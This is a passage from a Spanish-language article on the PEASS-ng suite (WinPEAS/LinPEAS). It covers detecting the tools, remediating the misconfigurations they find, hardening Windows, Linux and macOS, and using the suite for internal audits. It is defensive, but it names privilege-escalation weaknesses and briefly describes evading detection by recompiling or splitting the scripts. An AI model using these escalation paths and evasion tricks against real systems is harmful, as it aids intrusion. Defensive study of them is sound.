  • EDR con Threat Hunting: Buscar comportamientos anómalos, como un usuario que enumera todas las cuentas de usuario (comando net user), lee todos los servicios, etc., fuera de lo común.

Es importante notar que un atacante sofisticado podría modificar u ofuscar PEAS scripts para evadir detecciones simples. Por ejemplo, recompilar WinPEAS cambiando cadenas de texto, o dividir LinPEAS en partes para que no se lancen todos los comandos de golpe. Por eso, las detecciones basadas en comportamiento amplio suelen ser más efectivas que solo buscar la firma. En cualquier caso, la presencia de estas herramientas en un sistema donde no deberían estar es un indicador claro de compromiso que debe investigarse de inmediato.

Mitigación y respuesta: Remediando las vulnerabilidades encontradas

Independientemente de atrapar o no a un intruso ejecutando WinPEAS/LinPEAS, lo ideal es que, aunque lo ejecuten, no encuentren nada explotable. Los defensores pueden usar PEASS-ng en modo preventivo: ejecutar WinPEAS/LinPEAS en sus propios sistemas (con autorización) para obtener un informe de posibles fallos de configuración y corregirlos. Veamos algunas medidas de mitigación/hardening frecuentes para los hallazgos típicos:

  • Corregir servicios vulnerables (Windows):
    • Rutas sin comillas: Identificar servicios con ImagePath no entrecomillado. La solución es editar esa entrada (por ejemplo vía regedit o con sc config) agregando las comillas en la ruta del ejecutable. Esto asegura que Windows no divida mal la ruta con espacios. Cada servicio problematico hallado por WinPEAS debe ser arreglado de este modo.
    • Permisos de servicio: Si algún servicio permite a Usuarios autenticados (o a grupos no admins) cambiar su configuración, se debe ajustar su DACL. Con la herramienta sc sdset o vía la interfaz gráfica (services.msc > propiedades > seguridad, si disponible) se puede restringir para que solo administradores y Sistema tengan control. En algunos casos puede ser necesario eliminar servicios obsoletos instalados por software antiguo que abrió demasiado los permisos.
  • AlwaysInstallElevated: Esta opción debe estar deshabilitada en entornos seguros. Es una configuración legacy que pocas veces se necesita. Comprobar en directivas de grupo o en el registro que las claves:
    HKLM\Software\Policies\Microsoft\Windows\Installer\AlwaysInstallElevated y
    HKCU\Software\Policies\Microsoft\Windows\Installer\AlwaysInstallElevated
    estén en 0 (o borradas). Si WinPEAS la marcó en rojo, ejecutar reg delete o establecer a 0 inmediatamente y concientizar a los administradores para no habilitarla.
  • Contraseñas y credenciales:
    • En Windows, eliminar contraseñas en texto claro del registro (AutoLogon, credenciales de servicios). Si un servicio necesita credencial, usar cuentas administradas si es posible o almacenarla de forma cifrada. Implementar LAPS (Local Administrator Password Solution) en entornos de dominio: WinPEAS indicará si LAPS está presente (lo marca en verde) o si la misma contraseña local admin está replicada en muchos equipos (lo cual es un riesgo).
    • En Linux, buscar archivos con credenciales que LinPEAS señaló. Mover esas credenciales a ubicaciones seguras o protegerlos con permisos adecuados. Por ejemplo, si encontró contraseñas de base de datos en configuraciones, asegurarse de que esos archivos no sean world-readable, o usar gestores de secretos.
    • Rotar contraseñas descubiertas. Si por ejemplo LinPEAS detectó una clave privada SSH sin passphrase, considerar agregarle passphrase o restringir su uso.
  • SUID/GUID y permisos de archivos (Linux/Mac):
    • Revisar la lista de binarios SUID que LinPEAS mostró. Para cada uno, decidir si realmente se necesita. Es común remover el SUID de utilidades que no se usan. Por ejemplo, si /usr/bin/nmap tuviese SUID (en distros modernas no lo tiene, pero suponiendo), y no se requiere, quitarlo con chmod -s /usr/bin/nmap. Menos binarios SUID equivale a menos superficie de ataque.
    • Asegurar que ningún binario SUID sea editable por usuarios no root. Esto generalmente se logra verificando que todos esos archivos pertenezcan a root:root y 4755 de permisos. Si alguno tenía permisos incorrectos (como 7755), corregirlos.
    • Archivos críticos (.bashrc, /etc/passwd, /etc/shadow, /etc/sudoers, etc.) deben tener los permisos estándar. LinPEAS a veces lista si encuentra permisos más abiertos de lo normal. Aplicar comandos chmod/chown para restaurarlos.
  • Cron jobs y tareas automatizadas:
    • Cualquier script que se ejecute automáticamente con privilegios altos debe estar protegido. Si LinPEAS mostró un cron diario que corre un script X, asegurarse de que ese script:
      • No es modificable por usuarios sin privilegio.
      • Idealmente, está ubicado en una ruta solo escribible por root (como /usr/local/bin o similar con dueños correctos).
    • Si se detectó un cron que no debería estar (a veces malware instala tareas), investigar y eliminarlo.
  • Sudoers:
    • Revisar la configuración de sudo (/etc/sudoers y /etc/sudoers.d/*). LinPEAS resalta líneas de sudoers: hay que verificar que no se haya dejado accidentalmente algo como ALL=(ALL) NOPASSWD: ALL para algún usuario (esto sería catastrófico en producción). También evitar reglas muy amplias. En entornos corporativos, limitar los comandos que un usuario puede ejecutar vía sudo y siempre requerir contraseña salvo casos muy controlados.
    • Remover usuarios innecesarios del grupo sudo o admin (en Mac). Principio de mínimo privilegio: solo cuentas que realmente lo requieran deben tener ese acceso.
  • Hardening de servicios:
    • Si WinPEAS indicó que WDigest está habilitado (lo cual permitiría extraer hashes de memoria), aplicar la política para deshabilitarlo (en Windows 10+ suele estar off por defecto, pero conviene verificar).
    • Asegurar que Secure Boot y LSA Protection estén activos en Windows (esto dificulta cargas de drivers no firmados y herramientas de volcado de credenciales).
    • En Linux, considerar activar mecanismos como AppArmor/SELinux en modo enforce para mitigar impactos incluso si hay misconfigs (aunque no es infalible, añade capas).
    • En MacOS, mantener SIP habilitado siempre, a menos que haya una razón de desarrollo muy específica. SIP previene ciertas escaladas incluso si alguien consigue root, y su ausencia es un indicador de un sistema menos seguro.
  • Parches y actualizaciones:
    • Si la herramienta sugiere exploits de kernel o software vulnerable, es necesario actualizar el sistema. Por ejemplo, LinPEAS puede mencionar "posible DirtyCow exploit" si ve un kernel sin parchear de 2016; la mitigación es actualizar el kernel o sistema operativo a una versión segura. Lo mismo con WinPEAS: si detecta un Windows 7 sin parches críticos, la solución de fondo es planificar la actualización o aplicar parches pendientes.
    • Actualizar aplicaciones de terceros. Muchas escaladas vienen por software instalado: WinPEAS/LinPEAS enumeran aplicaciones instaladas; es responsabilidad del defensor revisar si están al día. Ejemplo: WinPEAS lista programas, si ve que está instalada una versión de Oracle VirtualBox antigua, se sabe que tenía un driver vulnerable a escalada (CVE-...); con esa info uno debe parchear VirtualBox o desinstalarlo si no se usa.

En caso de haber detectado a un atacante en vivo que ha usado estas herramientas, la respuesta debe ser contundente: aislar el host afectado, analizar artefactos (los resultados que pudo haber dejado, las puertas traseras instaladas tras escalada), restablecer claves comprometidas y fortalecer los controles donde fallaron. Pero idealmente, al seguir un régimen de hardening, queremos que cuando el atacante ejecute PEAS, no encuentre nada crítico o explotable.

Hardening preventivo y uso de PEASS-ng para auditoría

Una estrategia recomendada es incorporar PEASS-ng en auditorías internas periódicas. Por ejemplo, un equipo de seguridad defensiva podría correr LinPEAS en todos sus servidores Linux de desarrollo para obtener un informe rápido de “salud” en cuanto a configuración. En Windows, quizá integrarlo en un chequeo manual en máquinas de prueba. Ojo: estas herramientas, al igual que escáneres de vulnerabilidades, deben usarse con precaución en sistemas en producción, ya que ejecutan muchos comandos; en entornos críticos podría causar pequeñas cargas o activaciones de antivirus. Es preferible usarlas en entornos de staging o en horarios de bajo tráfico para reducir el impacto.

No obstante, los beneficios de usarlas internamente son grandes: básicamente obtienes la misma visión que tendría un atacante si lograra colarse. Algunas organizaciones incluso automatizan la ejecución de linpeas/winpeas y procesan su salida con los parsers disponibles (PEASS-ng incluye scripts para convertir la salida a JSON, HTML, etc.). Esto permitiría, por ejemplo, integrar los hallazgos en un sistema de seguimiento y asignar su resolución a los administradores correspondientes.

Buenas prácticas generales de hardening que cubren muchos de los puntos que revelan estas herramientas:

  • Aplicar el principio de mínimo privilegio en todo: usuarios con los roles justos, no dar derechos administrativos donde no toca, archivos con los permisos más restrictivos posibles.
  • Segregar cuentas de servicio y asegurarse de que corran con la cuenta menos privilegiada necesaria. Por ejemplo, un servidor web no debería correr como root. Si WinPEAS detecta un servicio corriendo como SYSTEM que podría correr con menos privilegio, es una oportunidad de mejora.
  • Eliminar software innecesario: Cada servicio o programa instalado es una posible vía de ataque. Si en un servidor Linux no se necesita gcc o make, no tenerlos instalados evita que un atacante compile fácilmente exploits. LinPEAS avisa si encuentra compiladores instalados, contenedores sin proteger, etc.
  • Monitorizar actividad de usuarios privilegiados: Configurar alertas cuando alguien obtiene derechos de administrador o root de forma inusual. Por ejemplo, si de pronto el usuario IUSR pasa a ser admin (via algún exploit, creando una nueva cuenta admin), un SIEM debería captar el evento de creación o elevación de privilegios.
  • Backups y respuesta: Tener respaldos de configuración de seguridad. Así, si un atacante cambia algo (ej: modifica un LaunchDaemon en Mac), se puede comparar con el backup para detectar el cambio.

Finalmente, reconocer que PEASS-ng es una herramienta de doble filo. Igual que un cuchillo quirúrgico, en manos del defensor sirve para identificar y corregir problemas con precisión; en manos del atacante sirve para causar daño explotando esos problemas. Por eso, muchos profesionales de seguridad la consideran indispensable en su conjunto de conocimientos. Un equipo defensivo debería conocer profundamente qué hace WinPEAS/LinPEAS, incluso ejecutar la herramienta en laboratorio para ver su comportamiento, de modo que no les tome por sorpresa cuando algún alarmante log muestre sus huellas en producción.

Conclusión

PEASS-ng se ha consolidado como una suite fundamental en el ámbito de la ciberseguridad ofensiva para escalada de privilegios. Sus scripts WinPEAS y LinPEAS automatizan y simplifican la obtención de información crítica de un sistema comprometido, aumentando las probabilidades de éxito de un pentester o atacante al descubrir rápidamente las “llaves” que abren la puerta hacia administradores o root. Hemos visto cómo utilizarlos paso a paso en Windows, Linux y MacOS, y ejemplos concretos de vulnerabilidades que pueden destapar y aprovechar.

No obstante, este mismo poder puede (y debe) ser aprovechado por los defensores. Ejecutar estas herramientas en entornos controlados nos pone en los zapatos del atacante y nos permite tapar agujeros antes de que alguien más los encuentre. Asimismo, estar al tanto de cómo lucen sus actividades en los logs y monitoreo ayuda a afinar sistemas de detección de intrusos. Un administrador diligente corregirá las configuraciones inseguras que WinPEAS/LinPEAS puedan señalar, convirtiendo un posible punto débil en una fortaleza.

En definitiva, PEASS-ng es tanto una alarma como un mapa: alarma para el Blue Team que se enciende cuando algo anda mal (si sabes detectarla), y mapa para el Red Team que indica dónde pisar para escalar. Los expertos en ciberseguridad harían bien en familiarizarse con ambas facetas. Al integrar PEASS-ng en nuestras prácticas habituales —ya sea probando la resiliencia de nuestros sistemas o fortaleciéndolos— damos un paso significativo hacia una postura de seguridad más robusta. La elevación de privilegios ya no nos tomará por sorpresa, sino que será un terreno conocido que sabremos navegar y controlar.

Referencias

  1. Polop C. PEASS-ng – Privilege Escalation Awesome Scripts SUITE. Repositorio GitHub; 2023. Disponible en: GitHub - peass-ng/PEASS-ng.
  2. ManageEngine (Log360). Detecting the presence of WinPEAS tool. Blog de ciberseguridad; 20 febrero 2024.
  3. ManageEngine (Log360). Privilege escalations on Windows with WinPEAS. Blog de ciberseguridad; 2024.
  4. González Pérez P. LinPEAS versus IA: Cómo usar un Copilot para escalar privilegios en GNU/Linux. Blog Un informático en el lado del mal; 2025.
  5. Singh P. Window Privilege Escalation: Automated Script. Blog Hacking Articles (Raj Chandel); 2021.

Read more